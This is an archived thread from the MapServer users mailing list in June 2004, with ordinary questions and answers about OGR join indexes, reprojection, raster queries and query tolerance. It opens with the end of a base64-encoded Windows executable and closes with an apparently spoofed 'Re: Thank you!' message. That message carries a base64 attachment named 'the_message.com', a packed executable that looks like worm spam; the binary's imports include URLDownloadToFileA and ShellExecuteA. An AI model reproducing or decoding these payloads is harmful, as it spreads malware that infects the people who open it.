AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAgADAAAAIAAAgA4AAABgAACAAAAAAAAAAAAAAAAAAAABAAEAAAA4AACAAAAAAAAA AAAAAAAAAAABAAAAAABQAAAApPAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAA eAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAAJDzAAAUAAAAAAAAAAAAAACgwAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA gACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3dwAAAAAAAAAAAAeIiIiIiIcAAAAAAAAA AAAHOIgzOIg3AAAAAAAAAAAAB7ODAAODhwAAAAAAAAAAAAf/MP+wOIcAAAAAAAAAAAAHuA+/ /wOHAAAAAAAAAAAAB4C//7/wNwAAAAAAAAAAAAcP/7//vwMAAAAAAAAAAAAH/7//v/+wAAAA AAAAAAAAB3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAP////////////////////////////////////////////////// /////////////////////////////////////////////4AB//+AAf//gAH//4AB//+AAf// gAH//4AB//+AAf//gAH//4AB//+AAf//////////////////iMMAAAAAAQABACAgEAABAAQA 6AIAAAEAAAAAAAAAAAAAAAAA2PQAAID0AAAAAAAAAAAAAAAAAADl9AAAkPQAAAAAAAAAAAAA AAAAAPL0AACY9AAAAAAAAAAAAAAAAAAA/PQAAKD0AAAAAAAAAAAAAAAAAAAG9QAAqPQAAAAA AAAAAAAAAAAAABL1AACw9AAAAAAAAAAAAAAAAAAAHvUAALj0AAAAAAAAAAAAAAAAAAAp9QAA wPQAAAAAAAAAAAAAAAAAADT1AADI9AAAAAAAAAAAAAAAAAAAQPUAAND0AAAAAAAAAAAAAAAA AAAAAAAAAAAAAEz1AABa9QAAavUAAAAAAAB49QAAAAAAAIb1AAAAAAAAkPUAAAAAAACe9QAA AAAAAK71AAAAAAAAuPUAAAAAAADM9QAAAAAAANj1AAAAAAAA6PUAAAAAAABLRVJORUwzMi5E TEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwAU0hFTEwzMi5kbGwAc2hsd2Fw aS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQuZGxsAHdzb2NrMzIuZGxsAAAA TG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtl eQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhlY3V0ZUEAAABTdHJEdXBBAAAA VVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRlcm5ldE9wZW5BAAAAYmluZAAA AAAAAAAAAAAAAAAAAAAAAC5lEAMGAEZQuwQHNXKasSm+HSoELGtRS5QWIh1WesVxrCOaNVRs iXQvj0QyCJgsNkszO46KGqx2w7GYhbFpZ4hlkTmFvZRYkjhIg26lI5pLlkcyhGAossUtby8Y bxZ4BJwncoCOwQfBOl0dwABWYYECoCy4ewOfFU/EBQLBG01+fZo1JqGAVVdaLKZ8L5gXTJq5 gmwxIzI/fzY5CEoYEJkGVGwPFRopmASRU2mfLlgKRFRZjL0lw5ApT2QrjwSxejwaRb1YFWxA NlwugI4ck6uUfq1PvpRvFVa7ap/Fh7pij2I3PH94hg6msp4afbmaokKqLAAFez48KHjDNWlK PZupZSqmc5NKPT4RmZzGlF1CB01mGyOtbk+VM1YJH3t4VEwNU2+EWSmSO0EeLVfCJJEmMgDC U4UiMb7CgYOFfD65brcwCU90JkqveZG3laSuJXBQEoGtThlJrAYmeW5fGVyOi4FQtjyoWCnD I7m9nktdBimMURKsazoKu3/HsFvFqJeWLGoyoq0oX7VqfyGotpIZIEsvt00MTx8IPgEIaVNe OAS0damLgClEYFmlODhdhyIvJbqDOgJAWsIPxU2bS0J9P21HJ3R6H7sNQnZkinWwwkOOeL5N Ch02WFLAmgtcjKuWlilonWgDb3CKTYgYjijCOXBZZSmKVwUxJgpKASYqWaRdo5uaHyqFC6GN ClSySjyIQnimYIVYtqlicyAcEAVHHWqdBRUrojiyLJ55UUxnTxJUl0VFhF0ygl96dgVvUJNz hoFFVVE6DYlzE25saz+cqCYDA1pBQ1ubQZl/gVo/BGhvuCWdraQYWVlkFJE9O4JySXSJh3EY Qh9/p4kKKVXAZmJ4mEVQlrwCmqyohYCqNHSlBKMiO30Rv5gQOR0LkIY+xyG6B2sIlcKiuEWu PDlFiKFgxVNMLoiEKDoTZIuLraRFSrApqQhOZgSDGjATDH2GgLBQUX6zRlIpWhY+rcMstAS7 qpJjwqsMKZOfXGiSg0swaoAexy4LSrwVoDuklmNDNFbGljbAK8CvamB3GGJLgkIzE2xko48e abR5Q3WgeClhqFcBZVY7ZVF9gDgqKkVZnlhGRBWK ----------xtmmqaebjmvipmyidgqm-- From jenu_ab at hotmail.com Sat Jun 19 07:32:09 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Sat, 19 Jun 2004 09:32:09 -0500 Subject: [Mapserver-users] My newbi experience Message-ID: Hi guys, This in regards with creating a separate mailing list for newbie?s. I'll tell straight away it?s not going to be a good idea as it will require more effort by volunteers to help them out. Give more help in the tutorials to newbie?s and they will learn on their own. I started with mapserver 2 months back and hadn?t even known of a term GIS. I got a great deal of help from a lot of people because everybody was there and some had experienced the same problems I had faced. I want to share some problems I faced from the tutorials that resulted in me turning to the mailing list for help. ? The mapserver tutorial needs to be a little more detailed. The examples are GREAT but sometimes no explanation as to how something was done. Sometimes the examples have so subtle but important visual or functional differences that it?s hard to figure what the tutorial is trying to teach. It should tell specifically what to look for. ? At least introduce advanced terms in the tutorial even if they are not explained, so that newbie?s can look it up in the wiki as they advance. E.g the concept of ?virtual spatial data? Finally I would add, everybody should contribute to the mapserver wiki with common problems faced and the solution found. And everybody who can help should reply to help the newbies out as mentors. When I came here, there was hardly any help for win 2003 users in the wiki. I had a hard time figuring things out through the tight security features in win 2003. But I do take a little time out to post it in the wiki section what I faced so that others find things easier and I do try to help people out if I see them facing the same problem I faced. It?s our mapserver world, and we should be its evangelists, from the youngest to the oldest. A divided kingdom cannot stand. That?s all folks Take care Jenu Abraham _________________________________________________________________ MSN Movies - Trailers, showtimes, DVD's, and the latest news from Hollywood! http://movies.msn.click-url.com/go/onm00200509ave/direct/01/ From rich at greenwoodmap.com Sat Jun 19 09:33:16 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Sat, 19 Jun 2004 10:33:16 -0600 Subject: [Mapserver-users] OGR Join index In-Reply-To: <40D3520D.9020100@pobox.com> References: <40D33B8B.1060904@greenwoodmap.com> <40D34063.90101@pobox.com> <40D3445E.7060206@greenwoodmap.com> <40D34C7F.8060308@pobox.com> <40D3501C.8060303@greenwoodmap.com> <40D3520D.9020100@pobox.com> Message-ID: <40D46ACC.2080802@greenwoodmap.com> Frank Warmerdam wrote: > Richard Greenwood wrote: > >> Very interesting! So I could use MapInfo to create indexes and OGR >> would use them? And if I wanted to use ORG's CREATE INDEX I would >> need to write a C or Python wrapper? i.e. There is no stand alone >> CREATE INDEX utility? > > > Richard, > > Well, if you create the indexes with MapInfo, they won't be recognised > because > there needs to be a little xml file that associates them. > > You should create the indexes with the OGR "CREATE INDEX" command. This > can be accomplished with the ogrinfo utility which includes the ability > to execute arbitrary OGR SQL. > > eg. > > warmerda at gdal2200[214]% ogrinfo -ro . -sql "create index on polygon > using eas_" > INFO: Open of `.' > using driver `ESRI Shapefile' successful. > warmerda at gdal2200[215]% ls -la > total 368 > drwxr-xr-x 2 warmerda users 4096 Jun 18 16:34 . > drwxr-xr-x 53 warmerda users 4096 Jun 18 16:32 .. > -rw-r--r-- 1 warmerda users 159752 Jun 18 16:32 polygon.dbf > -rw-r--r-- 1 warmerda users 221 Jun 18 16:34 polygon.idm > -rw-r--r-- 1 warmerda users 8704 Jun 18 16:34 polygon.ind > -rw-r--r-- 1 warmerda users 175784 Jun 18 16:32 polygon.shp > -rw-r--r-- 1 warmerda users 3892 Jun 18 16:32 polygon.shx > > Now that I think about it some more, I'm pretty certain that OGR doesn't > even > take advantage of the indexes for mapfinfo format ... only for > shapefiles right > now. The client in question needed it only for shapefiles. > > Best regards, Totally cool! The indexes reduced execution time from over 2 minutes to about 2 seconds. (Joining 12000 spatial rows to 300 attribute rows). The index only seemed to be required on the attribute table. But of course, there's always one more question: I can not get ogrinfo to create an index on just a dbf file. It seems to require the associated shp and shx files also, even tho there is no spatial data there. Ogrinfo recognizes the dbf, but fails to create an index. e.g. $ ogrinfo listing.DBF INFO: Open of `listing.DBF' using driver `ESRI Shapefile' successful. 1: listing (None) $ ogrinfo -ro . -sql "create index on listing using Pidn" INFO: Open of `.' using driver `ESRI Shapefile' successful. ERROR 1: CREATE INDEX ON failed, no such layer as `listing'. I don't see what functional purpose the shp and shx files server in a table having no spatial data. Any insight here? As always, thank you very much for your explanations. Regards, -- Richard Greenwood www.greenwoodmap.com From warmerdam at pobox.com Sat Jun 19 10:23:29 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Sat, 19 Jun 2004 13:23:29 -0400 Subject: [Mapserver-users] OGR Join index In-Reply-To: <40D46ACC.2080802@greenwoodmap.com> References: <40D33B8B.1060904@greenwoodmap.com> <40D34063.90101@pobox.com> <40D3445E.7060206@greenwoodmap.com> <40D34C7F.8060308@pobox.com> <40D3501C.8060303@greenwoodmap.com> <40D3520D.9020100@pobox.com> <40D46ACC.2080802@greenwoodmap.com> Message-ID: <40D47691.1060100@pobox.com> Richard Greenwood wrote: > Totally cool! The indexes reduced execution time from over 2 minutes to > about 2 seconds. (Joining 12000 spatial rows to 300 attribute rows). The > index only seemed to be required on the attribute table. > > But of course, there's always one more question: I can not get ogrinfo > to create an index on just a dbf file. It seems to require the > associated shp and shx files also, even tho there is no spatial data > there. Ogrinfo recognizes the dbf, but fails to create an index. e.g. > > $ ogrinfo listing.DBF > INFO: Open of `listing.DBF' > using driver `ESRI Shapefile' successful. > 1: listing (None) > > $ ogrinfo -ro . -sql "create index on listing using Pidn" > INFO: Open of `.' > using driver `ESRI Shapefile' successful. > ERROR 1: CREATE INDEX ON failed, no such layer as `listing'. > > I don't see what functional purpose the shp and shx files server in a > table having no spatial data. Any insight here? > > As always, thank you very much for your explanations. Richard, I will dig into this today. I would say file a bug but the GDAL/OGR bugzilla is missing in action at this time. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From martin426 at yahoo.com Sat Jun 19 10:25:16 2004 From: martin426 at yahoo.com (James Martin) Date: Sat, 19 Jun 2004 10:25:16 -0700 (PDT) Subject: [Mapserver-users] Mapserver Raster Images/Extents Newbie questions (Sorry!) Message-ID: <20040619172516.65522.qmail@web52503.mail.yahoo.com> Hello, I'm pretty new with this application, so any help with these three questions would be appreciated. My first question is regarding the Extent declaration. Can I declare this in Lat/Long format somehow? I've been toying with cs2cs to convert by invoking: cs2cs +init=epsg:4326 +to +init=epsg:2163 -v Except the returned values seem quite random, and I don't get the results I'm expecting. If I can't use Lat/Long, is there any good documentation for cs2cs that you know of? (It seems that the remotesensing site where a lot of this is hosted is down) Trying to find the range enclosed by 180W 90N and 180E 90S (ie: The whole world) gives me nonsensical values. ******* My second question is regarding raster images. Here is the output of mapserv -v: MapServer version 4.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_CLIENT INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE Here is the output of gdal-config --formats: gxf gtiff hfa aigrid aaigrid ceos ceos2 iso8211 bsb xpm sdts raw dted mem jdem envisat elas fit vrt usgsdem l1b nitf bmp gif jpeg png grass Using the following mapfile I get no output of the raster image... The states display as expected, and both data sets are in the same directory, so I'm thinking something else must be wrong but there is no indication as to what (Note: this is the example from the mapserver homepage regarding raster images): MAP STATUS ON IMAGETYPE PNG SIZE 800 500 SHAPEPATH "data" EXTENT -6086744.000 -2784127 4278894 4485901 PROJECTION "proj=laea" "ellps=clrk66" "lat_0=45" "lon_0=-100" # # Alternatively, you can specify an EPSG code. # "init=epsg:2163" # END LAYER NAME NightLights DATA nitelti020l TYPE RASTER STATUS ON END LAYER # States polygon layer begins here NAME states DATA statesp020 STATUS DEFAULT TYPE POLYGON PROJECTION "init=epsg:4326" END CLASS NAME "US states" OUTLINECOLOR 50 50 50 SYMBOL 0 END END # States polygon layer ends here END # end of map file/object *********** My third question is regarding world files, however it won't matter until I can get images to work. I've got several of the NASA blue marble images that represent the entire planet. They vary in size but for this example we'll say I'm using the 8192x4096 version. Pixel 1,1 represents 180W 90N, pixel 8192,4096 represents 180E 90N. What would the world file look like for this and what process do you follow to come up with it? Again, can I use lat/long coordinates? *** One last thing--Is there a good intro tutorial to epsg, and what all these other formats for coordinate systems are? Many Thanks, James Atlanta, GA __________________________________ Do you Yahoo!? Yahoo! Mail is new and improved - Check it out! http://promotions.yahoo.com/new_mail From gacp at d-konstruktors.org Sat Jun 19 11:07:59 2004 From: gacp at d-konstruktors.org (Gustavo Alcides Concheiro Perez) Date: Sat, 19 Jun 2004 18:07:59 +0000 Subject: [Mapserver-users] reprojection, expressions, and query blues In-Reply-To: <20040618170003.1081.3649.Mailman@lists.gis.umn.edu> References: <20040618170003.1081.3649.Mailman@lists.gis.umn.edu> Message-ID: <200406191807.59649.gacp@d-konstruktors.org> Newbie questions, I expect: 1. I'm trying to reproject some shapefiles. I set the projection for the layers (lat/long) and the (different) projection for the map (like LAEA---I tried several) AFAIK the proj codes are correct, and I copied the tutorials code as models. NOTHING HAPPENS. Layers are *not* reprojected but shown in lat/long, and no error message pops anywhere, even when I use "DEBUG ON" on layers. I'm totally baffled. 2. Same thing with passing a expression in the URL. Nothing happens; no error message either. 3. I want the elevation for the query point. This is very important. I have the DEMs (several), but I see no way to query a raster file with MapServer. 4. Is there a way to link tolerance (for mouseclicks on queries) to mapa units (e.g. 10 km radius) instead of just pixels? I'm using version 4.2. as CGI. 5. Finally, is there any tutorial that explains *concepts* and *strategies* on how to do this, the *rationale* of it, and not just keyword references for the code and map examples with pieces of code? I must confess that after quite a bit of RTFM, I still can't really understand how to use MapServer. TIA. -gustavo -- Gustavo Alcides Concheiro P??rez Uni??n de la Cruz del Sur ??Non serviam?? --- Clave p??blica GPG para gacp / GPG public key for gacp: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.7 (GNU/Linux) mQGiBD5c/XARBADRrT8X4B3lH+nRlTZz96Qrg7DBiIIOXvVKcUQZN5Mf1g60a8Sq 14NK6w+nL/CHWwV8Ebl0lS5mQBAkvCk6bEpU0TYVEqkX2x0c0WNwGD2qY3XIegrO AziTOs+a0ttJnh9pDFSWtb5kg1OZSZ9HzuS67zOWhlMn2O/kmoCs8LFLCwCgxpwD I2uKF8GdvNWuCT91TR27MkED/A2MPecRNydFJIaAFmAnCOLrzmvjTU0tXDsNoui0 kyVOzodDkPIJN/HNco1eF0uomHNpHHEqFXszk7+B2wQ6r+3xdI9RKBRQcoDO2+5T 5hMJdZZme3GnyzAAHeojevNCm79IyT4Oqt5hTnFjB8iF/islD62UROVqnW1TcMRP 5ZU5A/0ccjpac8VD4doM+Yj/lmf15UfJI7R5JTdh1Rg2HyptxMeUX+vJiacjwUR8 Z1L2vxBqlZfW5PMw6y+ZAc7go39FKSclcI0L6BAyg6SP5l/M9mbncYMSdG/ZDZiW lcTVGU8usfnmp36gFDP+0AKHIa8by31UOZ6UHyZr3gyfWUpYN7RBR3VzdGF2byBB bGNpZGVzIENvbmNoZWlybyBQw6lyZXogKGdhY3ApIDxnYWNwQGQta29uc3RydWt0 b3JzLm9yZz6IWQQTEQIAGQUCPlz9cAQLBwMCAxUCAwMWAgECHgECF4AACgkQ68B5 f74Je7XCaQCfSKAhuF9rHRxG5GryI9+6dWTpX2gAoJuMr7TcYFIPQUgwP82A/EqQ uvLguQENBD5c/XcQBAC7NVeTaQTe1T3Td/aBuX/YytJtveddXeOTmtx/wPbDceSQ PCFQoQ8KtO8a+WjkVjAJwTDcaDP7xc9NpfEuKy+DttXEa3l0rJUJ46aJo6mkQ7xY dk1jtD/El2ETZbVhER55LJYnEC7LnNTpbfyl1yh5RXbtP6SGk6hZv1P5rLh6EwAD BQP/ZdGyA6EI14R91g3/QLJArIa0+lKUlsylQeO2RHJa4wfy2krY98rOjYeAX4Pn o3K2py3FkVCCgWf4CPHPd7AHrs9ZmaggUNDUSLR6oi1Lol6PfseYGisQv4WPjn5u AcEn2lO+FROXPJ7KVARJYqOjRTQwE3ZvwBzJJ0R82/QY3MiIRgQYEQIABgUCPlz9 dwAKCRDrwHl/vgl7tbNbAKC05KLNGx5fUiuONE51l4I30lYxmACbBVBpFRcmhRWU npjTizDAhO9/uNM= =AuyO -----END PGP PUBLIC KEY BLOCK----- From rich at greenwoodmap.com Sat Jun 19 11:13:58 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Sat, 19 Jun 2004 12:13:58 -0600 Subject: [Mapserver-users] OGR Join index In-Reply-To: <40D47F42.1070201@pobox.com> References: <40D33B8B.1060904@greenwoodmap.com> <40D34063.90101@pobox.com> <40D3445E.7060206@greenwoodmap.com> <40D34C7F.8060308@pobox.com> <40D3501C.8060303@greenwoodmap.com> <40D3520D.9020100@pobox.com> <40D46ACC.2080802@greenwoodmap.com> <40D47F42.1070201@pobox.com> Message-ID: <40D48266.8080409@greenwoodmap.com> Frank Warmerdam wrote: > Richard Greenwood wrote: > >> Totally cool! The indexes reduced execution time from over 2 minutes >> to about 2 seconds. (Joining 12000 spatial rows to 300 attribute >> rows). The index only seemed to be required on the attribute table. >> >> But of course, there's always one more question: I can not get ogrinfo >> to create an index on just a dbf file. It seems to require the >> associated shp and shx files also, even tho there is no spatial data >> there. Ogrinfo recognizes the dbf, but fails to create an index. e.g. >> >> $ ogrinfo listing.DBF >> INFO: Open of `listing.DBF' >> using driver `ESRI Shapefile' successful. >> 1: listing (None) >> >> $ ogrinfo -ro . -sql "create index on listing using Pidn" >> INFO: Open of `.' >> using driver `ESRI Shapefile' successful. >> ERROR 1: CREATE INDEX ON failed, no such layer as `listing'. >> >> I don't see what functional purpose the shp and shx files server in a >> table having no spatial data. Any insight here? > > > Rich, > > This is working fine for me on a standalone .dbf file. What is your > ogrinfo source? Are you on windows or linux? I did it directly on a dbf > file with no .shp and .shx with no problem. I was on linux using a > build-from-cvs but this area hasn't changed for a couple months as far as I > know. > > Best regards, Ahhhh. Apparently my problem was that I DID have an associated MapInfo .tab and .ind. Sorry that I didn't mention this before. I suspect ogrinfo was reluctant to overwrite the existing .ind file. Once again - Thank you. I have been cc'ing the mapserver-users list because join functionality has been discussed frequently in the past and the OGR Join fills a very nice nitch between the RDBMS methods and the more limited LAYER JOIN object. Regards, -- Richard Greenwood www.greenwoodmap.com From warmerdam at pobox.com Sat Jun 19 12:04:59 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Sat, 19 Jun 2004 15:04:59 -0400 Subject: [Mapserver-users] reprojection, expressions, and query blues In-Reply-To: <200406191807.59649.gacp@d-konstruktors.org> References: <20040618170003.1081.3649.Mailman@lists.gis.umn.edu> <200406191807.59649.gacp@d-konstruktors.org> Message-ID: <40D48E5B.4020109@pobox.com> Gustavo Alcides Concheiro Perez wrote: > Newbie questions, I expect: > > 1. I'm trying to reproject some shapefiles. I set the projection for the > layers (lat/long) and the (different) projection for the map (like LAEA---I > tried several) AFAIK the proj codes are correct, and I copied the tutorials > code as models. NOTHING HAPPENS. Layers are *not* reprojected but shown in > lat/long, and no error message pops anywhere, even when I use "DEBUG ON" on > layers. I'm totally baffled. Gustavo, I don't know why this isn't working. You might need to supply your .map file to help us work it out. > 2. Same thing with passing a expression in the URL. Nothing happens; no error > message either. I don't know anything about this. I have never tried it. > 3. I want the elevation for the query point. This is very important. I have > the DEMs (several), but I see no way to query a raster file with MapServer. Raster query is not supported in 4.2, but it has been introduced in 4.3 (the development version). See the wiki for details on this or ask me. http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?RasterQuery > 4. Is there a way to link tolerance (for mouseclicks on queries) to mapa units > (e.g. 10 km radius) instead of just pixels? Yes, I think there is. I don't recall the details though. Hopefully you will get more detailed feedback from someone. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From warmerdam at pobox.com Sat Jun 19 12:42:19 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Sat, 19 Jun 2004 15:42:19 -0400 Subject: [Mapserver-users] Ogr binaries In-Reply-To: References: <200406180836.i5I8a96s011742@outmx011.isp.belgacom.be> <005501c455d5$c162f720$5dda043e@jeanlouis> Message-ID: <40D4971B.1020105@pobox.com> Bart van den Eijnden wrote: > Hi, > > I just checked with my OpenEV version, and I have the same problem, the > ogrtindex seems to be compiled against an earlier GDAL/OGR version. The > binary date is also from 2002, so that seems to be the problem. Folks, Sorry, that's my fault. Ogrtindex.exe wasn't being installed in my openev_fw directory by default so we ended up with a far out of date one. I have now made it get installed by default. In the meantime, try downloading: http://gdal.velocet.ca/~warmerda/ogrtindex.exe Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From rich at greenwoodmap.com Sat Jun 19 14:58:47 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Sat, 19 Jun 2004 15:58:47 -0600 Subject: [Mapserver-users] reprojection, expressions, and query blues In-Reply-To: <200406191807.59649.gacp@d-konstruktors.org> References: <20040618170003.1081.3649.Mailman@lists.gis.umn.edu> <200406191807.59649.gacp@d-konstruktors.org> Message-ID: <40D4B717.2000203@greenwoodmap.com> Gustavo Alcides Concheiro Perez wrote: > 2. Same thing with passing a expression in the URL. Nothing happens; no error > message either. Can you give an example of your problem? What mode e.g. QUERY, NQUERY, ITEMQUERY, FEATUREQUERY? Do you have a QLAYER set? Pretty hard to say what's wrong w/o some specifics. > 4. Is there a way to link tolerance (for mouseclicks on queries) to mapa units > (e.g. 10 km radius) instead of just pixels? Try using TOLERANCE and TOLERANCEUNITS [pixels|feet|inches|kilometers|meters|miles|dd] in the layer object. -- Richard Greenwood www.greenwoodmap.com From steve.lime at dnr.state.mn.us Sat Jun 19 19:24:26 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Sat, 19 Jun 2004 20:24:26 -0600 Subject: [Mapserver-users] Re: Thank you! Message-ID: ----------muxnoqdyslgapeonqbbt Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------muxnoqdyslgapeonqbbt Content-Type: application/octet-stream; name="the_message.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="the_message.com" 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 